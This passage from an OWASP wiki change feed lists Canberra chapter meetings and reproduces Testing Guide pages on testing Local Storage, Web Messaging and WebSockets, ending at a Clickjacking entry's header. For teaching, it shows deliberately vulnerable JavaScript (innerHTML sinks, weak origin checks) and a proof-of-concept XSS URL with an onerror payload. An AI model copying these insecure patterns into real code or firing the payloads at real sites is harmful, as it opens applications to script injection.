1) News, rumour and innuendo in AppSec by chapter leader ([https://www.owasp.org/images/f/fd/OWASP_Canberra_chapter_introduction.ppt slide deck])&lt;br /&gt;
&lt;br /&gt;
2) Guest speaker&lt;br /&gt;
&lt;br /&gt;
3) Networking and drinks&lt;br /&gt;
&lt;br /&gt;
{| border=&amp;quot;1&amp;quot;&lt;br /&gt;
|- style=&amp;quot;background:lightblue; color:black&amp;quot;&lt;br /&gt;
| '''Date''' || '''Guest Speaker''' || '''Topic'''&lt;br /&gt;
|- &lt;br /&gt;
| 6th June 2012 || '''Tim Scully''', Independent Cyber Security Advocate &amp;amp; Intelligence Risk Consultant and Foundation Board Member of CREST Australia || [https://www.owasp.org/images/5/56/OWASP_-_Scully.pptx The Cyber Threat, Trophy Information &amp;amp; the Fortress Mentality] &lt;br /&gt;
|- &lt;br /&gt;
| 4th July 2012 || '''Justin Smith''', Chief Architect of Agile Digital || A Case Study in Web Security for Large Scale Consumer Portals&lt;br /&gt;
|- &lt;br /&gt;
| 19th July 2012 || '''Jacob West''', Chief Technology Officer of HP Fortify || &lt;br /&gt;
[https://www.owasp.org/images/b/b2/OWASP_Canberra_chapter_introduction_%28July_19%29.ppt Chapter intro][https://www.owasp.org/images/9/96/Software_Security_goes_Mobile_-_Jacob_West.pdf Software Security goes Mobile]&lt;br /&gt;
|- &lt;br /&gt;
| 2nd October 2012 || '''Luke Smith''', CREST UK || Introduction to CREST and its benefits&lt;br /&gt;
|-&lt;br /&gt;
| 14th November 2012 || '''Chris Brookes''', Director Technical Assessments, Defence Signals Directorate || Cyber Security Operations Centre - Common findings and recommendations 2 years on &lt;br /&gt;
|- &lt;br /&gt;
| rowspan=4|11th February 2013 || colspan= |Joint presentation with SANS '''NOTE:''' the venue will be the National Library [https://www.owasp.org/images/4/43/OWASP_Canberra_chapter_introduction_%282013_February_11%29.pdf Chapter intro]&lt;br /&gt;
|-&lt;br /&gt;
| '''MakeHackVoid''' || 3D printer, quadcopter UAV demos and MOAR! || &lt;br /&gt;
|-&lt;br /&gt;
| '''Scott McLeod''', Chief Technology Officer of Australian Federal Police || Building successful teams using engineers and technologists &lt;br /&gt;
|-&lt;br /&gt;
| '''Nick Klein''', Independent Computer Forensic Consultant || [https://www.owasp.org/images/3/3d/Undersatnding_Computer_Forensics_%2811_Feb_2012%29.pdf How to do a computer forensic investigation … and not get burned]&lt;br /&gt;
|-&lt;br /&gt;
| 3rd April 2013 || '''Nathaniel Wieriks &amp;amp; George Stewart''', security consultants || [https://www.owasp.org/images/b/b5/OWASP_Canberra_chapter_introduction_%282013_April_3%29.pptx Chapter Intro] [https://www.owasp.org/images/9/98/The_Modern_Response_A_Defenders_Perspective.pdf A Modern Approach to Countering Evolving Cyber Threats]&lt;br /&gt;
|-&lt;br /&gt;
| 6th May 2013 || '''Jim Manico''', OWASP global board member and VP of Security Architecture at WhiteHatSec || TBA&lt;br /&gt;
|-&lt;br /&gt;
| rowspan=2|10th July 2013 || colspan=2|SANS Community Presentation '''NOTE:''' the venue will be the Hotel Realm]&lt;br /&gt;
|-&lt;br /&gt;
| '''Justin Searle''', SANS Instructor, OWASP contributor and all round good guy || Pentesting the Smart Grid&lt;br /&gt;
|-&lt;br /&gt;
| rowspan=2|18th September 2013 || '''Len Kleinman''', Director, Vulnerability Management and Research, Australian Tax Office (ATO) || Building World-Class Vulnerabilty Management and Incident Response Teams&lt;br /&gt;
|-&lt;br /&gt;
| '''MakeHackVoid''' || Hardware Hackery, 3D printer, quadcopter UAV demos and MOAR! || &lt;br /&gt;
|-&lt;br /&gt;
| 6th December 2013 || '''Matt Jones''', Volvent || shooting clay pidgins - a look at the libpurple IM library&lt;br /&gt;
|-&lt;br /&gt;
| 28th March 2014 || '''Paul Theriault''', Mozilla || [https://people.mozilla.org/~ptheriault/talk.ppt Firefox OS security model and workshop]  [http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs Mozilla bug bounties]&lt;br /&gt;
|-&lt;br /&gt;
| 30th July 2014 || '''Simon Bennetts''', Mozilla || Introduction to Zed Attack Proxy (ZAP)  [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download][https://www.owasp.org/index.php/File:2014-07-30owaspzapcoursecanberra1-140731025357-phpapp02.ppt Slidedeck (with answers)]&lt;br /&gt;
|-&lt;br /&gt;
| 29th August 2014 || '''Simon Bennetts''', Mozilla || Introduction to Zed Attack Proxy (ZAP)  [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]&lt;br /&gt;
|-&lt;br /&gt;
| 26th September 2014 || '''Simon Bennetts''', Mozilla || Advanced Zed Attack Proxy (ZAP)  [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]&lt;br /&gt;
|-&lt;br /&gt;
| 31st October 2014 || '''Simon Bennetts''', Mozilla || Advanced Zed Attack Proxy (ZAP)  [http://sourceforge.net/projects/zaproxy/files/docs/ZAPGettingStartedGuide.pdf/download]&lt;br /&gt;
|-&lt;br /&gt;
| 28th November 2014 || Mozilla || Mozilla Bug Hunt [http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs Mozilla bug bounties]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For anyone wishing to deliver or suggest a relevant presentation at a future chapter meeting, please review the speaker agreement and contact the chapter leader (andrew.muller@owasp.org). &lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings, whether you're an OWASP member or not!&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:Australia]]&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=File:2014-07-30owaspzapcoursecanberra1-140731025357-phpapp02.ppt&amp;diff=181426</id>
		<title>File:2014-07-30owaspzapcoursecanberra1-140731025357-phpapp02.ppt</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=File:2014-07-30owaspzapcoursecanberra1-140731025357-phpapp02.ppt&amp;diff=181426"/>
				<updated>2014-08-29T12:20:31Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=180330</id>
		<title>Test Local Storage (OTG-CLIENT-012)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Local_Storage_(OTG-CLIENT-012)&amp;diff=180330"/>
				<updated>2014-08-08T13:46:09Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary == &lt;br /&gt;
&lt;br /&gt;
Local Storage also known as Web Storage or Offline Storage is a mechanism to store data as key/value pairs tied to a domain and enforced by the same origin policy (SOP). There are two objects, localStorage that is persistent and is intended to survive browser/system reboots and sessionStorage that is temporary and will only exists until the window or tab is closed. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On average browsers allow to store in this storage around 5MB per domain, that compared to the 4KB of cookies is a big difference, but the key difference from the security perspective is that the data stored in these two objects is kept in the client and never sent to the server, this also improves network performance as data do not need to travel over the wire back and forth.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== localStorage ===&lt;br /&gt;
&lt;br /&gt;
Access to the storage is normally done using the setItem and getItem functions. The storage can be read from javascript which means with a single XSS an attacker would be able to extract all the data from the storage. Also malicious data can be loaded into the storage via JavaScript so the application needs to have the controls in place to treat untrusted data. Check if there are more than one application in the same domain like example.foo/app1 and example.foo/app2 because those will share the  same  storage.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Data stored in this object will persist after the window is closed, it is a bad idea to store sensitive data or session identifiers on this object as these can be accesed via JavaScript. Session IDs stored in cookies can mitigate this risk using the httpOnly flag.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== sessionStorage ===&lt;br /&gt;
&lt;br /&gt;
Main difference with localStorage is that the data stored in this object is only accessible until the tab/window is closed which is a perfect candidate for data that doesn't need to persist between sessions. It shares most of the properties and the getItem/setItem methods, so manual testing needs to be undertaken to look for these methods and identify in which parts of the code the storage is accessed.&lt;br /&gt;
&lt;br /&gt;
==How to Test==&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for issues within the Local Storage code is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing ===&lt;br /&gt;
&lt;br /&gt;
First of all, we need to check whether the Local Storage is used.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 1: Access to localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Access to every element in localStorage with JavaScript:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
for(var i=0; i&amp;lt;localStorage.length; i++) {                                               &lt;br /&gt;
        console.log(localStorage.key(i), &amp;quot; = &amp;quot;, localStorage.getItem(localStorage.key(i)));&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
same code can be applied to sessionStorage&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Google Chrome, click on menu -&amp;gt; Tools -&amp;gt; Developer Tools. Then under Resources you will see 'Local Storage' and 'Web Storage'.&lt;br /&gt;
&lt;br /&gt;
[[File:storage-chrome.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Firefox with the Firebug add on you can easily inspect the localStorage/sessionStorage object in the DOM tab.&lt;br /&gt;
&lt;br /&gt;
[[File:storage-firefox.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Also, we can inspect these objects from the developer tools of our browser.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Next manual testing needs to be conducted in order to determine whether the website is storing sensitive data in the storage that represents a risk and will increase dramatically the impact of a information leak. Also check the code handling the Storage to determine if it is vulnerable to injection attacks, common issue when the code does not escape the input or output. The JavaScript code has to be analyzed to evaluate these issues, so make sure you crawl the application to discover every instance of JavaScript code and note sometimes applications use third-party libraries that would need to be examined too.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Here is an example of how improper use of user input and lack of validation can lead to XSS attacks.&lt;br /&gt;
&lt;br /&gt;
'''Example 2: XSS in localStorage:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Insecure assignment from localStorage can lead to XSS&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function action(){&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
&lt;br /&gt;
localStorage.setItem(&amp;quot;item&amp;quot;,resource);&lt;br /&gt;
&lt;br /&gt;
item = localStorage.getItem(&amp;quot;item&amp;quot;);&lt;br /&gt;
document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=item;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;body onload=&amp;quot;action()&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;div1&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
URL PoC:&lt;br /&gt;
&lt;br /&gt;
 http://server/StoragePOC.html#&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Storage-xss.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tools== &lt;br /&gt;
* '''Firebug''' -  http://getfirebug.com/&lt;br /&gt;
* '''Google Chrome Developer Tools''' - https://developers.google.com/chrome-developer-tools/&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Storage Specification''': http://www.w3.org/TR/webstorage/&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=180329</id>
		<title>Test Web Messaging (OTG-CLIENT-011)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Web_Messaging_(OTG-CLIENT-011)&amp;diff=180329"/>
				<updated>2014-08-08T13:45:06Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging (also known as Cross Document Messaging) allows applications running on different domains to communicate in a secure manner. Before the introduction of web messaging the communication of different origins (between iframes, tabs and windows) was restricted by the same origin policy and enforced by the browser, however developers used multiple hacks in order to accomplish these tasks, most of them were mainly insecure.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This restriction within the browser is in place to restrict a malicious website to read confidential data from other iframes, tabs, etc, however there are some legitimate cases where two trusted websites need to exchange data between each other. To meet this need Cross Document Messaging was introduced within he WHATWG HTML5 draft specification and implemented in all major browsers. It enables secure communication between multiple origins across iframes, tabs and windows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The Messaging API introduced the postMessage() method, with which plain-text messages can be sent cross-origin. It consists of two parameters, message and domain.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are some security concerns when using '*' as the domain that we discuss below. Then, in order to receive messages the receiving website needs to add a new event handler, and has the following attributes:&lt;br /&gt;
*data: The content of the incoming message&amp;lt;br&amp;gt;&lt;br /&gt;
*origin: The origin of the sender document&amp;lt;br&amp;gt;&lt;br /&gt;
*source: source window&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
An example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Send message:&lt;br /&gt;
&lt;br /&gt;
iframe1.contentWindow.postMessage(“Hello world”,”http://www.example.com”);&lt;br /&gt;
&lt;br /&gt;
Receive message:&lt;br /&gt;
&lt;br /&gt;
window.addEventListener(“message”, handler, true);&lt;br /&gt;
function handler(event) {&lt;br /&gt;
if(event.origin === 'chat.example.com') {&lt;br /&gt;
     /* process message (event.data) */&lt;br /&gt;
} else {&lt;br /&gt;
    /* ignore messages from untrusted domains */&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Origin Security Concept ===&lt;br /&gt;
The origin is made up of a scheme, host name and port and identifies uniquely the domain sending or receiving the message, it does not include the path or the fragment part of the url. For instance, https://example.com/ will be considered different from http://example.com because the schema in the first case is https and in the second http, same applies to web servers running in the same domain but different port.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
From a security perspective we should check whether the code is filtering and processing messages from trusted domains only, normally the best way to accomplish this is using a whitelist. Also within the sending domain, we also want to make sure they are explicitly stating the receiving domain and not '*' as the second argument of postMessage() as this practice could introduce security concerns too, and could lead to, in the case of a redirection or if the origin changes by other means, the website sending data to unknown hosts, and therefore, leaking confidential data to malicious servers.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the case the website failed to add security controls to restrict the domains or origins that can send messages to a website most likely will introduce a security risk so it is very interesting part of the code from a penetration testing point of view. We should scan the code for message event listeners, and get the callback function from the addEventListener method to further analysis as domains must be always be verified prior data manipulation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== event.data Input Validation ===&lt;br /&gt;
&lt;br /&gt;
Input validation is also important, even though the website is accepting messages from trusted domains only, it needs to treat the data as external untrusted data and apply  the same level of security controls to it. We should analyze the code and look for insecure methods, in particular if data is being evaluated via &amp;lt;pre&amp;gt;eval()&amp;lt;/pre&amp;gt; or inserted into the DOM via the &amp;lt;pre&amp;gt;innerHTML&amp;lt;/pre&amp;gt; property as that would create a DOM-based XSS vulnerability.&lt;br /&gt;
 &lt;br /&gt;
==How to Test==&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
Black box testing for vulnerabilities on Web Messaging is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing === &lt;br /&gt;
&lt;br /&gt;
Manual testing needs to be conducted and the JavaScript code analyzed looking for how Web Messaging is implemented. In particular we should be interested in how the website is restricting messages from untrusted domain and how the data is handled even for trusted domains. Below are some examples:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code example:&lt;br /&gt;
&lt;br /&gt;
In this example, access is needed for every subdomain (www, chat, forums, ...) within the owasp.org domain. The code is trying to accept any domain ending on .owasp.org:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     &amp;lt;/b&amp;gt;if(e.origin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) {&amp;lt;b&amp;gt;&lt;br /&gt;
          /* process message (e.data) */&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The intention is to allow subdomains in this form:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
www.owasp.org&lt;br /&gt;
chat.owasp.org&lt;br /&gt;
forums.owasp.org&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Insecure code. An attacker can easily bypass the filter as www.owasp.org.attacker.com will match.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Example of lack of origin check, very insecure as will accept input from any domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     /* process message (e.data) */&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Input validation example: Lack of security controls lead to Cross-Site Scripting (XSS)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
window.addEventListener(“message”, callback, true);&lt;br /&gt;
&lt;br /&gt;
function callback(e) {&lt;br /&gt;
     if(e.origin === &amp;quot;trusted.domain.com&amp;quot;) {&lt;br /&gt;
          element.innerHTML= e.data;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This code will lead to Cross-Site Scripting (XSS) vulnerabilities as data is not being treated properly, a more secure approach would be to use the property textContent instead of innetHTML.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
*'''OWASP HTML5 Security Cheat Sheet''': https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
*'''Web Messaging Specification''': http://www.whatwg.org/specs/web-apps/current-work/multipage/web-messaging.html&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_WebSockets_(OTG-CLIENT-010)&amp;diff=180328</id>
		<title>Testing WebSockets (OTG-CLIENT-010)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_WebSockets_(OTG-CLIENT-010)&amp;diff=180328"/>
				<updated>2014-08-08T13:43:51Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
Traditionally the HTTP protocol only allows one request/response per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires the client to initiate the requests and wait for the server responses (half-duplex). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
HTML5 WebSockets allow the client/server to create a 'full-duplex' (two-way) communication channels, allowing the client and server to truly communicate asynchronously. WebSockets conduct their initial 'upgrade' handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Origin ===&lt;br /&gt;
&lt;br /&gt;
It is the server’s responsibility to verify the Origin header in the initial HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server may accept connections from any origin. This could allow attackers to communicate with the WebSocket server cross-domain allowing for [[Top 10 2013-A8-Cross-Site Request Forgery (CSRF)]] type issues.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Confidentiality and Integrity ===&lt;br /&gt;
&lt;br /&gt;
WebSockets can be used over unencrypted TCP or over encrypted TLS. To use unencrypted WebSockets the ''ws://'' URI scheme is used (default port 80), to use encrypted (TLS) WebSockets the ''wss://'' URI scheme is used (default port 443). Look out for [[Top 10 2013-A6-Sensitive Data Exposure]] type issues.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Authentication ===&lt;br /&gt;
&lt;br /&gt;
WebSockets do not handle authentication, instead normal application authentication mechanisms apply, such as cookies, HTTP Authentication or TLS authentication. Look out for [[Top 10 2013-A2-Broken Authentication and Session Management]] type issues.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Authorization ===&lt;br /&gt;
&lt;br /&gt;
WebSockets do not handle authorization, normal application authorization mechanisms apply. Look out for [[Top 10 2013-A4-Insecure Direct Object References]] and [[Top 10 2013-A7-Missing Function Level Access Control]] type issues.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Input Sanitization ===&lt;br /&gt;
&lt;br /&gt;
As with any data originating from untrusted sources, the data should be properly sanitised and encoded. Look out for [[Top 10 2013-A1-Injection]] and [[Top 10 2013-A3-Cross-Site Scripting (XSS)]] type issues.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How to Test==&lt;br /&gt;
=== Black Box testing ===&lt;br /&gt;
&lt;br /&gt;
1. Identify that the application is using WebSockets. &lt;br /&gt;
*Inspect the client-side source code for the ''ws://'' or ''wss://'' URI scheme.&lt;br /&gt;
*Use Google Chrome's Developer Tools to view the Network WebSocket communication.&lt;br /&gt;
*Use [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy] (ZAP)'s WebSocket tab.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2. Origin.&lt;br /&gt;
* Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If a connection is established the server may not be checking the origin header of the WebSocket handshake.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3. Confidentiality and Integrity.&lt;br /&gt;
* Check that the WebSocket connection is using SSL to transport sensitive information (wss://).&lt;br /&gt;
* Check the SSL Implementation for security issues (Valid Certificate, BEAST, CRIME, RC4, etc). Refer to the [https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)] section of this guide.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4. Authentication.&lt;br /&gt;
* WebSockets do not handle authentication, normal black-box authentication tests should be carried out. Refer to the [https://www.owasp.org/index.php/Testing_for_authentication Authentication Testing] sections of this guide.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Authorization.&lt;br /&gt;
* WebSockets do not handle authorization, normal black-box authorization tests should be carried out. Refer to the [https://www.owasp.org/index.php/Testing_for_Authorization Authorization Testing] sections of this guide.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
6. Input Sanitization.&lt;br /&gt;
* Use [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy] (ZAP)'s WebSocket tab to replay and fuzz WebSocket request and responses. Refer to the [https://www.owasp.org/index.php/Testing_for_Data_Validation Testing for Data Validation] sections of this guide.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 1'''&lt;br /&gt;
&lt;br /&gt;
Once we have identified that the application is using WebSockets (as described above) we can use the [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP Zed Attack Proxy (ZAP)] to intercept the WebSocket request and responses. ZAP can then be used to replay and fuzz the WebSocket request/responses.&lt;br /&gt;
&lt;br /&gt;
[[File:OWASP_ZAP_WebSockets.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2'''&lt;br /&gt;
&lt;br /&gt;
Using a WebSocket client (one can be found in the Tools section below) attempt to connect to the remote WebSocket server. If the connection is allowed the WebSocket server may not be checking the WebSocket handshake's origin header. Attempt to replay requests previously intercepted to verify that cross-domain WebSocket communication is possible.&lt;br /&gt;
&lt;br /&gt;
[[File:WebSocket_Client.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing ===&lt;br /&gt;
Gray box testing is similar to black box testing. In gray box testing the pen-tester has partial knowledge of the application. The only difference here is that you may have API documentation for the application being tested which includes the expected WebSocket request and responses.&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;br /&gt;
*'''WebSocket Client''' - https://github.com/RandomStorm/scripts/blob/master/WebSockets.html&lt;br /&gt;
A WebSocket client that can be used to interact with a WebSocket server.&lt;br /&gt;
*'''Google Chrome Simple WebSocket Client''' - https://chrome.google.com/webstore/detail/simple-websocket-client/pfdhoblngboilpfeibdedpjgfnlcodoo?hl=en&lt;br /&gt;
Construct custom Web Socket requests and handle responses to directly test your Web Socket services.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br /&amp;gt;&lt;br /&gt;
*'''HTML5 Rocks''' - Introducing WebSockets: Bringing Sockets to the Web: http://www.html5rocks.com/en/tutorials/websockets/basics/&lt;br /&gt;
*'''W3C''' - The WebSocket API: http://dev.w3.org/html5/websockets/&lt;br /&gt;
*'''IETF''' - The WebSocket Protocol: https://tools.ietf.org/html/rfc6455&lt;br /&gt;
*'''Christian Schneider''' - Cross-Site WebSocket Hijacking (CSWSH): http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html&lt;br /&gt;
*'''Jussi-Pekka Erkkilä''' - WebSocket Security Analysis: http://juerkkil.iki.fi/files/writings/websocket2012.pdf&lt;br /&gt;
*'''Robert Koch'''- On WebSockets in Penetration Testing: http://www.ub.tuwien.ac.at/dipl/2013/AC07815487.pdf&lt;br /&gt;
*'''DigiNinja''' - OWASP ZAP and Web Sockets: http://www.digininja.org/blog/zap_web_sockets.php&lt;/div&gt;</summary>
		<author><name>Andrew Muller</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=180327</id>
		<title>Testing for Clickjacking (OTG-CLIENT-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Clickjacking_(OTG-CLIENT-009)&amp;diff=180327"/>
				<updated>2014-08-08T13:41:50Z</updated>
		
		<summary type="html">&lt;p&gt;Andrew Muller: &lt;/p&gt;
&lt;hr /&gt;
